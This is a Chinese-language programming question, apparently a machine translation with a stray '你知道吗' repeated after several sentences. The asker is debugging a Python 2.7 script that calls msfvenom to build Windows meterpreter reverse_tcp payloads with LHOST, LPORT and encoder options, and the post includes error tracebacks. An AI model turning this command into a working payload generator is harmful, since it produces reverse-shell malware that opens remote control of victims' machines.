回答此问题可获得 20 贡献值,回答如果被采纳可获得 50 分。
<p>我正在尝试用python2.7.12创建Metasploit有效负载生成器。它利用<code>msfvenom</code>生成许多恶意有效负载。你知道吗</p>
<p>首先我使用<code>%s</code>和<code>%d</code>格式操作符。你知道吗</p>
<pre><code>call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
</code></pre>
<p>此错误返回</p>
<pre><code>/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
File "menu.py", line 74, in <module>
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'
</code></pre>
<p>我能够理解msfvenom无法解析我传递的参数,即迭代标志<code>-i</code>。接下来我看到了Python的一个错误<code>TypeError</code>。你知道吗</p>
<p>在进行了一些研究之后,我决定使用<code>.format()</code>,因为</p>
<pre><code>call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,
lport, encode, iteration, formatop, payname, formatop)
</code></pre>
<p>它回来了</p>
<pre><code>AttributeError: 'int' object has no attribute 'format'
</code></pre>
<p>我该怎么办?也有任何方法,我可以优化我的程序,而不是复制和粘贴同一行,并改变有效负载类型为15个选项?你知道吗</p>